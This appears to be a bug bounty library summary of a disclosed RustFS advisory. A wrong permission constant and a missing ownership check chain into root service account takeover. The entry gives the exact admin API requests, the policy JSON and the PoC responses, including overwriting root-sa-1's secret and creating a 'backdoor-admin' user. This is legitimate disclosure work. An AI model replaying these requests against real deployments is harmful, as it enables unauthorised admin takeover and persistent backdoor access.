# RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover

RustFS ListServiceAccount checks admin:UpdateServiceAccount instead of admin:ListServiceAccounts, leaking every service account access key and chaining to root service account takeover.

- Payout: Research
- Severity: high
- Program: RustFS
- Found by: kodareef5
- Disclosed: 2026-05-05
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-mm2q-qcmx-gw4w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mm2q-qcmx-gw4w
- Tags: area:cloud domain:cloud impact:data-leak impact:integrity impact:privesc kind:research platform:ghsa sev:high technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** RustFS admin API (GET /rustfs/admin/v3/list-service-accounts) and update-service-account handler
**Root cause:** ListServiceAccount::call at service_account.rs:936 passes AdminAction::UpdateServiceAccountAdminAction to is_allowed instead of ListServiceAccountsAdminAction, a copy-paste typo versus three sibling handlers. UpdateServiceAccount::call then overwrites any SA secret by accessKey with no ownership check (the get_service_account ownership check is commented out at lines 522-525).
**Steps:**
1. Deploy rustfs/rustfs:latest (1.0.0-alpha.91, rev d4ea14c2) with root rustfsadmin:rustfsadmin.
2. As root create policy `list-sa-probe-pol` with `{"Action":["admin:UpdateServiceAccount"],"Resource":["arn:aws:s3:::*"]}`, user `probe-user`, and service accounts `victim-sa-1` and `root-sa-1`.
3. As probe-user: `GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin` returns 200 with `accessKey=root-sa-1` (expected 403).
4. Differential: a user holding only `admin:ListServiceAccounts` gets 403 AccessDenied on the same request.
5. As probe-user: `POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1` body `{"newSecretKey":"pwned-secret-2"}` returns 204.
6. Re-sign as root-sa-1/pwned-secret-2; `GET /rustfs/admin/v3/list-users` and `/info` now return 200.
7. Create persistent backdoor: `PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin`, `PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all` (admin:* + s3:*), `PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin&isGroup=false&policyName=proof-admin-all`.
**How found:** Code review of service_account.rs: noticed the cross-user branch at line 936 passed UpdateServiceAccountAdminAction while the three sibling list handlers (lines 658, 799, 1095) used ListServiceAccountsAdminAction; confirmed the action enum has distinct strings, then built a differential PoC (wrong permission 200, correct permission 403) and traced the Update handler to find the commented-out ownership check.
**Exploitation:** Attacker holds a single delegated permission admin:UpdateServiceAccount. The wrong-action list handler returns every SA access key including root-sa-1; the ownership-free update handler lets them set root-sa-1's secret; authenticating as root-sa-1 inherits rustfsadmin's admin:* + s3:* authority, used to mint a persistent backdoor-admin user and bucket.
**Escalation:** Chained info-disclosure (wrong action constant) with missing ownership check in UpdateServiceAccount to convert a single delegated admin permission into full root administrative takeover and a persistent backdoor identity.
**Insight:** When auditing admin handlers, diff the action constant each handler passes to is_allowed against its sibling handlers and the action enum's serialize strings — a single wrong constant inverts the permission and can hand a low-privilege role a primitive (here, SA access keys) that a second handler with a missing ownership check turns into takeover.

## Proof of concept (copied exactly from the original report)

**Cross-user list request as probe-user returns root SA**

```
GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -> 200
        {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1"
```

**Correct permission legit-list-user gets 403**

```
GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -> 403
        <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>
```

**Overwrite root-sa-1 secret then authenticate as it**

```
POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as probe-user
             body: {"newSecretKey":"pwned-secret-2"}                           -> 204 NoContent

Then re-signs and calls admin APIs as `root-sa-1/pwned-secret-2`:

        GET /rustfs/admin/v3/list-users  as root-sa-1/pwned-secret-2 -> 200
        {"svinfo-user":{"policyName":"serverinfo-only","status":"enabled",...},
         "probe-user":{"policyName":"list-sa-probe-pol","status":"enabled",...},
         "readonly-user":{"policyName":"readonly","status":"enabled",...},
         "victim-user":{"status":"enabled",...}}

        GET /rustfs/admin/v3/info  as root-sa-1/pwned-secret-2       -> 200
```

